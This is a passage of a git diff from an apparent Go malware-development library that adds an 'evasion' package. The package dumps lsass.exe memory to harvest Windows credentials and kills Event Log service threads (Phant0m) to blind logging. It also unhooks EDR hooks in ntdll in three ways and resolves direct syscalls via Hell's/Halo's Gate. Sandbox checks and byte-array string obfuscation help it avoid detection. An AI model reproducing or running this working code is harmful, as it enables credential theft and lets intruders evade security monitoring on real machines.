+ E_lfanew uint16 // File address of new exe header
+}
+
+type memStatusEx struct { // Auxiliary struct to retrieve total memory
+ dwLength uint32
+ dwMemoryLoad uint32
+ ullTotalPhys uint64
+ ullAvailPhys uint64
+ unused [5]uint64
+}
+
+type PTHREAD_BASIC_INFORMATION struct {
+ exitStatus int32
+ pTebBaseAddress uintptr
+ clientId CLIENT_ID
+ AffinityMask uintptr
+ Priority int
+ BasePriority int
+ v int
+}
+
+type SC_SERVICE_TAG_QUERY struct {
+ processId uint32
+ serviceTag uint32
+ reserved uint32
+ pBuffer unsafe.Pointer
+}
+
+type CLIENT_ID struct {
+ UniqueProcess uintptr
+ UniqueThread uintptr
+}
+
diff --git a/core/gate.go b/evasion/gate.go
similarity index 66%
rename from core/gate.go
rename to evasion/gate.go
index e16ab79..53a0fc9 100644
--- a/core/gate.go
+++ b/evasion/gate.go
@@ -1,15 +1,15 @@
-package core
+package evasion
import (
"errors"
- "fmt"
+ //"fmt"
"strings"
"github.com/Binject/debug/pe"
"github.com/awgh/rawreader"
)
-// Return syscall from memory, if it fails it tries to get syscall from disk
+// Return syscall from memory, if it fails it tries to get syscall from disk (using halo's gate technique)
func GetSysId(funcname string) (uint16, error) {
var ntdll_pe *pe.File
@@ -38,10 +38,10 @@ func GetSysId(funcname string) (uint16, error) {
}
buff := bBytes[offset : offset+10]
- sysId, e := CheckBytes(buff)
+ sysId, err := CheckBytes(buff)
var hook_err MayBeHookedError
- if errors.As(e, &hook_err) {
+ if errors.As(err, &hook_err) {
// Enter here if function seems to be hooked
start, size := GetNtdllStart()
@@ -52,9 +52,9 @@ func GetSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
- sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
- if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
- return sysId - uint16(distanceNeighbor), e
+ sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
+ if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
+ return sysId - uint16(distanceNeighbor), err
}
}
}
@@ -65,9 +65,9 @@ func GetSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
- sysId, e := CheckBytes(bBytes[i+14 : i+14+8])
- if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
- return sysId + uint16(distanceNeighbor) - 1, e
+ sysId, err := CheckBytes(bBytes[i+14 : i+14+8])
+ if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
+ return sysId + uint16(distanceNeighbor) - 1, err
}
}
}
@@ -81,32 +81,6 @@ func GetSysId(funcname string) (uint16, error) {
return getDiskSysId(funcname)
}
-func GetFuncPtr(funcname string) (uint64, error) {
- var p *pe.File
- var err error
-
- s, si := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
-
- rr := rawreader.New(uintptr(s), int(si))
- p, err = pe.NewFileFromMemory(rr)
- if err != nil {
- return 0, err
- }
-
- exports, err := p.Exports()
- if err != nil {
- return 0, err
- }
-
- for _, ex := range exports {
- if strings.EqualFold(funcname, ex.Name) {
- return uint64(uintptr(s)) + uint64(ex.VirtualAddress), nil
- }
- }
-
- return 0, fmt.Errorf("could not find function: %s", funcname)
-}
-
func getDiskSysId(funcname string) (uint16, error) {
ntdll_path := string(
@@ -135,10 +109,10 @@ func getDiskSysId(funcname string) (uint16, error) {
}
buff := bBytes[offset : offset+10]
- sysId, e := CheckBytes(buff)
+ sysId, err := CheckBytes(buff)
var hook_err MayBeHookedError
- if errors.As(e, &hook_err) {
+ if errors.As(err, &hook_err) {
// Enter here if function seems to be hooked
start, size := GetNtdllStart()
@@ -149,9 +123,9 @@ func getDiskSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
- sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
- if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
- return sysId - uint16(distanceNeighbor), e
+ sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
+ if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
+ return sysId - uint16(distanceNeighbor), err
}
}
}
@@ -162,9 +136,9 @@ func getDiskSysId(funcname string) (uint16, error) {
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
distanceNeighbor++
- sysId, e := CheckBytes(bBytes[i+14 : i+14+8])
- if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
- return sysId + uint16(distanceNeighbor) - 1, e
+ sysId, err := CheckBytes(bBytes[i+14 : i+14+8])
+ if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
+ return sysId + uint16(distanceNeighbor) - 1, err
}
}
}
diff --git a/core/hashing.go b/evasion/hashing.go
similarity index 68%
rename from core/hashing.go
rename to evasion/hashing.go
index cc6782e..ebe8cfa 100644
--- a/core/hashing.go
+++ b/evasion/hashing.go
@@ -1,4 +1,4 @@
-package core
+package evasion
/*
@@ -11,14 +11,45 @@ import (
"bytes"
"encoding/binary"
"errors"
+ "golang.org/x/sys/windows"
// Third-party
"github.com/Binject/debug/pe"
"github.com/awgh/rawreader"
)
-// Check if hash is a valid function and return its proc
-func FuncFromHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
+/*
+
+This file contains various functions that use API hashing to retrieve the pointer to a function or its syscall
+
+*/
+
+// Receive a hash, the full path to DLL and the hashing function used to encode the function, then you use the pointer like GetCurrentProccess.Call()
+func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error) {
+ // Open and parse PE file
+ pe_file, err := pe.Open(dll)
+ if err != nil {
+ return &windows.LazyProc{}, "", err
+ }
+ defer pe_file.Close()
+
+ // Get export table
+ exports, err := pe_file.Exports()
+ if err != nil {
+ return &windows.LazyProc{}, "", err
+ }
+
+ for _, exp := range exports {
+ if hash == hashing_function(exp.Name) {
+ return windows.NewLazyDLL(dll).NewProc(exp.Name), exp.Name, nil
+ }
+ }
+
+ return &windows.LazyProc{}, "", errors.New("function not found")
+}
+
+// retrieve syscall using hashing to use it later like Syscall(sysid, ...)
+func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
if err != nil {
return 0, "", err
@@ -49,10 +80,11 @@ func FuncFromHash(hash string, dll string, hashing_func func(str string) string)
}
}
- return 0, "", errors.New("function not found!")
+ return 0, "", errors.New("syscall ID not found")
}
-func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) {
+// retrieve syscall using hashing and Hell's Gate + Halo's Gate technique like GetSysId() function
+func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) {
var ntdll_pe *pe.File
var err error
diff --git a/core/hooks.go b/evasion/hooks.go
similarity index 67%
rename from core/hooks.go
rename to evasion/hooks.go
index 9125e32..431950f 100644
--- a/core/hooks.go
+++ b/evasion/hooks.go
@@ -1,4 +1,4 @@
-package core
+package evasion
/*
@@ -8,7 +8,7 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal
*/
import (
- "errors"
+ "bytes"
"strings"
// Third-party packages
@@ -18,32 +18,30 @@ import (
func DetectHooks() ([]string, error) {
var hooked_functions []string
- ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE
+ dll_pe, err := pe.Open(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
if err != nil {
return hooked_functions, err
}
- defer ntdll_pe.Close()
+ defer dll_pe.Close()
- exports, err := ntdll_pe.Exports() // Get exported functions
+ exports, err := dll_pe.Exports() // Get exported functions
if err != nil {
return hooked_functions, err
}
for _, exp := range exports { // Iterate over them
- offset := rvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
- bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
+ offset := rvaToOffset(dll_pe, exp.VirtualAddress) // Get RVA offset
+ bBytes, err := dll_pe.Bytes() // Get bytes from ntdll.dll
if err != nil {
return hooked_functions, err
}
buff := bBytes[offset : offset+10]
- _, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error)
- var hook_err MayBeHookedError
if len(exp.Name) > 3 { // Avoid errors by checking function name length
if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw"
- if errors.As(err, &hook_err) == true { // Check error
+ if !bytes.HasPrefix(buff, HookCheck) { // check if it is hooked
hooked_functions = append(hooked_functions, exp.Name)
}
}
diff --git a/evasion/lsass.go b/evasion/lsass.go
new file mode 100644
index 0000000..2b85fa8
--- /dev/null
+++ b/evasion/lsass.go
@@ -0,0 +1,79 @@
+package evasion
+
+/*
+
+References:
+https://github.com/calebsargent/GoProcDump
+https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
+
+*/
+
+import (
+ "os"
+ "golang.org/x/sys/windows"
+ "unsafe"
+
+ mproc "github.com/D3Ext/maldev/process"
+)
+
+func DumpLsass(output_file string) error {
+ err := ElevateProcessToken()
+ if err != nil {
+ return err
+ }
+
+ all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}))
+ if err != nil {
+ return err
+ }
+ lsass_pid := all_lsass_pids[0]
+
+ kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
+ dbghelp := windows.NewLazyDLL(string([]byte{'D', 'b', 'g', 'h', 'e', 'l', 'p', '.', 'd', 'l', 'l'}))
+
+ MiniDumpWriteDump := dbghelp.NewProc(string([]byte{'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p'}))
+ OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'}))
+ CreateFileW := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W'}))
+
+ pHandle, _, _ := OpenProcess.Call(
+ uintptr(0xFFFF),
+ uintptr(1),
+ uintptr(lsass_pid),
+ )
+
+ // Create memory dump
+ os.Create(output_file)
+
+ path, err := windows.UTF16PtrFromString(output_file)
+ if err != nil {
+ return err
+ }
+
+ fHandle, _, _ := CreateFileW.Call(
+ uintptr(unsafe.Pointer(path)),
+ windows.GENERIC_WRITE,
+ windows.FILE_SHARE_READ|windows.FILE_SHARE_WRITE,
+ 0,
+ windows.OPEN_EXISTING,
+ windows.FILE_ATTRIBUTE_NORMAL,
+ 0,
+ )
+
+ ret, _, err := MiniDumpWriteDump.Call(
+ uintptr(pHandle),
+ uintptr(lsass_pid),
+ uintptr(fHandle),
+ 0x00061907,
+ 0,
+ 0,
+ 0,
+ )
+
+ if ret == 0 {
+ os.Remove(output_file)
+ return err
+ }
+
+ return nil
+}
+
diff --git a/evasion/phant0m.go b/evasion/phant0m.go
new file mode 100644
index 0000000..a562559
--- /dev/null
+++ b/evasion/phant0m.go
@@ -0,0 +1,154 @@
+package evasion
+
+import (
+ "errors"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+func GetEventLogPid() (int, error) {
+ advapi32 := windows.NewLazyDLL("advapi32.dll")
+
+ OpenSCManager := advapi32.NewProc("OpenSCManagerW")
+ OpenService := advapi32.NewProc("OpenServiceW")
+ QueryServiceStatusEx := advapi32.NewProc("QueryServiceStatusEx")
+
+ var ssp windows.SERVICE_STATUS_PROCESS
+ var dwBytesNeeded uint32
+
+ scm, _, err := OpenSCManager.Call(0, 0, windows.SERVICE_QUERY_STATUS)
+ if scm == 0 {
+ return 0, err
+ }
+
+ svc, _, err := OpenService.Call(scm, uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("EventLog"))), windows.SERVICE_QUERY_STATUS)
+ if svc == 0 {
+ return 0, err
+ }
+
+ QueryServiceStatusEx.Call(svc, windows.SC_STATUS_PROCESS_INFO, uintptr(unsafe.Pointer(&ssp)), uintptr(unsafe.Sizeof(ssp)), uintptr(unsafe.Pointer(&dwBytesNeeded)))
+
+ return int(ssp.ProcessId), nil
+}
+
+// Main function
+func Phant0m(eventlog_pid int) error {
+ err := ElevateProcessToken() // admin privs needed
+ if err != nil {
+ return err
+ }
+
+ ntdll := windows.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
+ NtQueryInformationThread := ntdll.NewProc(string([]byte{'N', 't', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 'T', 'h', 'r', 'e', 'a', 'd'}))
+
+ advapi32 := windows.NewLazyDLL(string([]byte{'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l'}))
+ I_QueryTagInformation := advapi32.NewProc(string([]byte{'I', '_', 'Q', 'u', 'e', 'r', 'y', 'T', 'a', 'g', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n'}))
+
+ kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
+ OpenThread := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'T', 'h', 'r', 'e', 'a', 'd'}))
+ OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'}))
+ TerminateThread := kernel32.NewProc(string([]byte{'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd'}))
+ CloseHandle := kernel32.NewProc(string([]byte{'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e'}))
+ ReadProcessMemory := kernel32.NewProc(string([]byte{'R', 'e', 'a', 'd', 'P', 'r', 'o', 'c', 'e', 's', 's', 'M', 'e', 'm', 'o', 'r', 'y'}))
+ CreateToolhelp32Snapshot := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'T', 'o', 'o', 'l', 'h', 'e', 'l', 'p', '3', '2', 'S', 'n', 'a', 'p', 's', 'h', 'o', 't'}))
+ Thread32First := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'F', 'i', 'r', 's', 't'}))
+ Thread32Next := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'N', 'e', 'x', 't'}))
+
+ var hThreads uintptr
+ hThreads, _, _ = CreateToolhelp32Snapshot.Call(
+ windows.TH32CS_SNAPTHREAD,
+ 0,
+ )
+
+ if hThreads == 0 {
+ return errors.New("An error has occurred calling CreateToolhelp32Snapshot")
+ }
+
+ tbi := PTHREAD_BASIC_INFORMATION{}
+ te32 := windows.ThreadEntry32{}
+ te32.Size = uint32(unsafe.Sizeof(te32))
+
+ Thread32First.Call(
+ hThreads,
+ uintptr(unsafe.Pointer(&te32)),
+ )
+
+ for true {
+ if te32.OwnerProcessID == uint32(eventlog_pid) {
+ hEvtThread, _, _ := OpenThread.Call(
+ windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE,
+ uintptr(0),
+ uintptr(te32.ThreadID),
+ )
+
+ if hEvtThread == 0 {
+ return errors.New("An error has occurred calling OpenThread")
+ }
+
+ NtQueryInformationThread.Call(
+ uintptr(hEvtThread),
+ 0,
+ uintptr(unsafe.Pointer(&tbi)),
+ 0x30,
+ 0,
+ )
+
+ hEvtProcess, _, _ := OpenProcess.Call(
+ windows.PROCESS_VM_READ,
+ uintptr(0),
+ uintptr(te32.OwnerProcessID),
+ )
+
+ if hEvtProcess == 0 {
+ return errors.New("An error has occurred calling OpenProcess")
+ }
+
+ if tbi.pTebBaseAddress != 0 {
+ scTagQuery := SC_SERVICE_TAG_QUERY{}
+
+ var hTag byte
+ var pN uintptr
+ ReadProcessMemory.Call(
+ hEvtProcess,
+ tbi.pTebBaseAddress+0x1720,
+ uintptr(unsafe.Pointer(&hTag)),
+ unsafe.Sizeof(pN),
+ 0,
+ )
+
+ scTagQuery.processId = te32.OwnerProcessID
+ scTagQuery.serviceTag = uint32(hTag)
+
+ I_QueryTagInformation.Call(
+ 0,
+ 1, // ServiceNameFromTagInformation
+ uintptr(unsafe.Pointer(&scTagQuery)),
+ )
+
+ if scTagQuery.pBuffer != nil {
+ TerminateThread.Call(
+ uintptr(hEvtThread),
+ 0,
+ )
+ }
+
+ CloseHandle.Call(hEvtThread)
+ CloseHandle.Call(hEvtProcess)
+ }
+ }
+
+ _, _, err := Thread32Next.Call(
+ hThreads,
+ uintptr(unsafe.Pointer(&te32)),
+ )
+
+ if err != nil {
+ break
+ }
+ }
+
+ CloseHandle.Call(hThreads)
+
+ return nil
+}
diff --git a/core/sandbox.go b/evasion/sandbox.go
similarity index 87%
rename from core/sandbox.go
rename to evasion/sandbox.go
index fff8b23..fa96202 100644
--- a/core/sandbox.go
+++ b/evasion/sandbox.go
@@ -1,4 +1,4 @@
-package core
+package evasion
import (
"errors"
@@ -6,7 +6,6 @@ import (
"os"
"os/user"
"runtime"
- "syscall"
"time"
"unsafe"
@@ -15,72 +14,72 @@ import (
mproc "github.com/D3Ext/maldev/process"
)
-func AutoCheck() error {
+func AutoCheck() (bool, error) {
mem_check, err := CheckMemory()
if err != nil {
- return err
+ return false, err
}
if mem_check {
- os.Exit(0)
+ return true, nil
}
drivers_check := CheckDrivers()
if drivers_check {
- os.Exit(0)
+ return true, nil
}
proc_check, err := CheckProcess()
if err != nil {
- return err
+ return false, err
}
if proc_check {
- os.Exit(0)
+ return true, nil
}
disk_check, err := CheckDisk()
if err != nil {
- return err
+ return false, err
}
if disk_check {
- os.Exit(0)
+ return true, nil
}
internet_check := CheckInternet()
if internet_check {
- os.Exit(0)
+ return true, nil
}
hostn_check, err := CheckHostname()
if err != nil {
- return err
+ return false, err
}
if hostn_check {
- os.Exit(0)
+ return true, nil
}
user_check, err := CheckUsername()
if err != nil {
- return err
+ return false, err
}
if user_check {
- os.Exit(0)
+ return true, nil
}
cpu_check := CheckCpu()
if cpu_check {
- os.Exit(0)
+ return true, nil
}
- return nil
+ return false, nil
}
func CheckMemory() (bool, error) {
- procGlobalMemoryStatusEx := syscall.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx")
+ procGlobalMemoryStatusEx := windows.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx")
msx := &memStatusEx{
dwLength: 64,
@@ -99,7 +98,7 @@ func CheckMemory() (bool, error) {
}
func CheckDisk() (bool, error) {
- procGetDiskFreeSpaceExW := syscall.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
+ procGetDiskFreeSpaceExW := windows.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
lpTotalNumberOfBytes := int64(0)
diskret, _, err := procGetDiskFreeSpaceExW.Call(
diff --git a/evasion/sleep.go b/evasion/sleep.go
new file mode 100644
index 0000000..2544be1
--- /dev/null
+++ b/evasion/sleep.go
@@ -0,0 +1,13 @@
+package evasion
+
+func Sleep() {
+ s := 500000
+
+ for i := 0; i <= s; i++ {
+ for j := 2; j <= i/2; j++ {
+ if i % j == 0 {
+ break
+ }
+ }
+ }
+}
diff --git a/evasion/syscall.go b/evasion/syscall.go
new file mode 100644
index 0000000..876caef
--- /dev/null
+++ b/evasion/syscall.go
@@ -0,0 +1,17 @@
+package evasion
+
+import "fmt"
+
+func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
+ errcode = bpSyscall(callid, argh...)
+
+ if errcode != 0 {
+ err = fmt.Errorf("non-zero return from syscall")
+ }
+
+ return errcode, err
+}
+
+func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
+
+
diff --git a/evasion/unhook.go b/evasion/unhook.go
new file mode 100644
index 0000000..4ee0fd0
--- /dev/null
+++ b/evasion/unhook.go
@@ -0,0 +1,217 @@
+package evasion
+
+/*
+
+References:
+https://github.com/RedLectroid/APIunhooker
+https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
+
+*/
+
+import (
+ "errors"
+ "io/ioutil"
+ "strings"
+ "time"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+
+ "github.com/Binject/debug/pe"
+)
+
+// This function unhooks given functions of especified dll
+func ClassicUnhook(funcnames []string, dllpath string) error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
+ GetProcAddress := kernel32.NewProc("GetProcAddress")
+ WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
+
+ // should be full path: C:\\Windows\\System32\\ntdll.dll
+ lib, _ := windows.LoadLibrary(dllpath)
+ defer windows.FreeLibrary(lib)
+
+ for _, f := range funcnames {
+ var assembly_bytes []byte
+
+ procAddr, _ := windows.GetProcAddress(lib, f)
+
+ ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
+ funcBytes := ptr_bytes[:5:5]
+
+ for i := 0; i < 5; i++ {
+ assembly_bytes = append(assembly_bytes, funcBytes[i])
+ }
+
+ pHandle, _, err := GetCurrentProcess.Call()
+ if pHandle == 0 {
+ return err
+ }
+
+ // Convert dll name to pointer
+ lib_ptr, err := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
+ if err != nil {
+ return err
+ }
+
+ moduleHandle, _, err := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr)))
+ if moduleHandle == 0 {
+ return err
+ }
+
+ func_ptr, err := windows.UTF16PtrFromString(f)
+ if err != nil {
+ return err
+ }
+
+ addr, _, err := GetProcAddress.Call(
+ moduleHandle,
+ uintptr(unsafe.Pointer(func_ptr)),
+ )
+
+ if addr == 0 {
+ return err
+ }
+
+ // Overwrite address with original function bytes
+ WriteProcessMemory.Call(
+ pHandle,
+ addr,
+ uintptr(unsafe.Pointer(&assembly_bytes[0])),
+ 5,
+ uintptr(0),
+ )
+ }
+
+ return nil
+}
+
+// Load fresh DLL copy in memory
+func FullUnhook(dlls_to_unhook []string) error {
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+ NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
+
+ for _, dll_to_unhook := range dlls_to_unhook {
+ if (!strings.HasPrefix(dll_to_unhook, "C:\\")) {
+ dll_to_unhook = "C:\\Windows\\System32\\" + dll_to_unhook
+ }
+
+ f, err := ioutil.ReadFile(dll_to_unhook)
+ if err != nil {
+ return err
+ }
+
+ file, err := pe.Open(dll_to_unhook)
+ if err != nil {
+ return err
+ }
+
+ x := file.Section(".text")
+ size := x.Size
+ dll_bytes := f[x.Offset:x.Size]
+
+ dll, err := windows.LoadDLL(dll_to_unhook)
+ if err != nil {
+ return err
+ }
+
+ dll_handle := dll.Handle
+ dll_base := uintptr(dll_handle)
+ dll_offset := uint(dll_base) + uint(x.VirtualAddress)
+
+ regionsize := uintptr(size)
+ var oldProtect uintptr
+
+ r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
+ if r1 != 0 {
+ return err
+ }
+
+ for i := 0; i < len(dll_bytes); i++ {
+ loc := uintptr(dll_offset + uint(i))
+ mem := (*[1]byte)(unsafe.Pointer(loc))
+ (*mem)[0] = dll_bytes[i]
+ }
+
+ r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(®ionsize)), oldProtect, uintptr(unsafe.Pointer(&oldProtect)))
+ if r2 != 0 {
+ return err
+ }
+ }
+
+ return nil
+}
+
+// Get a clean copy of ntdll from a suspended process (e.g. notepad.exe) and copy it to current process
+func PerunsUnhook() error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ GetConsoleWindow := kernel32.NewProc("GetConsoleWindow")
+ CreateProcessW := kernel32.NewProc("CreateProcessW")
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
+ ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
+ TerminateProcess := kernel32.NewProc("TerminateProcess")
+ ShowWindow := windows.NewLazyDLL("user32.dll").NewProc("ShowWindow")
+
+ hwnd, _, _ := GetConsoleWindow.Call()
+ if hwnd == 0 {
+ return errors.New("error calling GetConsoleWindow")
+ }
+
+ var SW_HIDE uintptr = 0
+ ShowWindow.Call(hwnd, SW_HIDE)
+
+ si:= &windows.StartupInfo{}
+ pi := &windows.ProcessInformation{}
+
+ cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
+ if err != nil {
+ return err
+ }
+
+ CreateProcessW.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
+
+ pHandle, _, _ := GetCurrentProcess.Call()
+
+ time.Sleep(5 * time.Second)
+
+ file, err := pe.Open("C:\\Windows\\System32\\ntdll.dll")
+ if err != nil {
+ return err
+ }
+
+ x := file.Section(".text")
+ size := x.Size
+
+ dll, err := windows.LoadDLL("C:\\Windows\\System32\\ntdll.dll")
+ if err != nil {
+ return err
+ }
+
+ dll_handle := dll.Handle
+ dll_base := uintptr(dll_handle)
+ dll_offset := uint(dll_base) + uint(x.VirtualAddress)
+
+ var data = make([]byte, size)
+ var nbr uintptr = 0
+
+ r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(dll_offset), uintptr(unsafe.Pointer(&data[0])), uintptr(size), uintptr(unsafe.Pointer(&nbr)))
+ if r1 == 0 {
+ return err
+ }
+
+ ntdll_bytes := data
+ ntdll_offset := dll_offset
+
+ var nLength uintptr
+ r2, _, err := WriteProcessMemory.Call(pHandle, uintptr(ntdll_offset), uintptr(unsafe.Pointer(&ntdll_bytes[0])), uintptr(uint32(len(ntdll_bytes))), uintptr(unsafe.Pointer(&nLength)))
+ if r2 == 0 {
+ return err
+ }
+
+ TerminateProcess.Call(uintptr(pi.Process), 0)
+
+ return nil
+}
+
diff --git a/evasion/utils.go b/evasion/utils.go
new file mode 100644
index 0000000..5b9d738
--- /dev/null
+++ b/evasion/utils.go
@@ -0,0 +1,187 @@
+package evasion
+
+import (
+ "encoding/binary"
+ "bytes"
+ "unsafe"
+ "syscall"
+ "strings"
+ "fmt"
+ "crypto/sha1"
+ //"golang.org/x/sys/windows"
+ "github.com/Binject/debug/pe"
+)
+
+func Sha1(str string) string {
+ h := sha1.New()
+ h.Write([]byte(str))
+ bs := h.Sum(nil)
+
+ return fmt.Sprintf("%x", bs)
+}
+
+var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
+
+type MayBeHookedError struct { // Define custom error for hooked functions
+ Foundbytes []byte
+}
+
+func (e MayBeHookedError) Error() string {
+ return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
+}
+
+func CheckBytes(b []byte) (uint16, error) {
+ if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes
+ return 0, MayBeHookedError{Foundbytes: b}
+ }
+
+ return binary.LittleEndian.Uint16(b[4:8]), nil
+}
+
+// getString extracts a string from symbol string table.
+func getString(section []byte, start int) (string, bool) {
+ if start < 0 || start >= len(section) {
+ return "", false
+ }
+
+ for end := start; end < len(section); end++ {
+ if section[end] == 0 {
+ return string(section[start:end]), true
+ }
+ }
+ return "", false
+}
+
+func rvaToOffset(pefile *pe.File, rva uint32) uint32 {
+ for _, hdr := range pefile.Sections {
+ baseoffset := uint64(rva)
+ if baseoffset > uint64(hdr.VirtualAddress) &&
+ baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
+ return rva - hdr.VirtualAddress + hdr.Offset
+ }
+ }
+ return rva
+}
+
+func inMemLoads(modulename string) (uintptr, uintptr) {
+ s, si, p := gMLO(0)
+ start := p
+ i := 1
+
+ if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
+ return s, si
+ }
+
+ for {
+ s, si, p = gMLO(i)
+
+ if p != "" {
+ if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
+ return s, si
+ }
+ }
+
+ if p == start {
+ break
+ }
+
+ i++
+ }
+
+ return 0, 0
+}
+
+func GetNtdllStart() (start uintptr, size uintptr)
+
+func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
+ var badstring *sstring
+ start, size, badstring = getMLO(i)
+ modulepath = badstring.String()
+ return
+}
+
+// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
+func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
+
+// Enable SeDebugPrivilege
+func ElevateProcessToken() error {
+
+ type Luid struct {
